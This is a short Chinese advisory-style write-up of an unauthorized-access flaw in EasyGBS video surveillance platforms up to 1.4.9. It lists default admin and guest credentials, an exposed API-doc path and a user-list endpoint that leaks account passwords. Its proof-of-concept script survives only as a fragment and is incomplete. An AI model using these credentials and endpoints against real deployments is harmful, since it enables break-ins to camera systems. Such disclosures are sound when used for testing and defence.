EasyGBS未授权访问漏洞

一、漏洞详情

EasyGBS是由TSINGSEE开发一款国标视频云平台。EasyGBS<=1.4.9版本的平台存在未授权访问漏洞，攻击者可以直接访问平台的API接口文档，从而获取系统的API接口造成信息泄露。

二、影响版本

EasyGBS <= 1.4.9

三、漏洞利用

1、默认口令：

easygbs/easygbs  #  管理员权限
guest2020/guest2014&2020  #  游客权限

2、API接口文档：/apidoc/#api-device

3、用户账户密码信息泄露：/api/v1/userlist?pageindex=0&pagesize=10

4、利用泄露的用户信息，登陆视频监控系统：

5、POC漏洞脚本检测

        except:

if __name__ == "__main__":
    url = sys.argv[1]
    type = sys.argv[2]
    scan = Scan()
    if type == 'poc':
        result = scan.poc(url)
    else:
        result = scan.exp(url)
    print(dict(result))
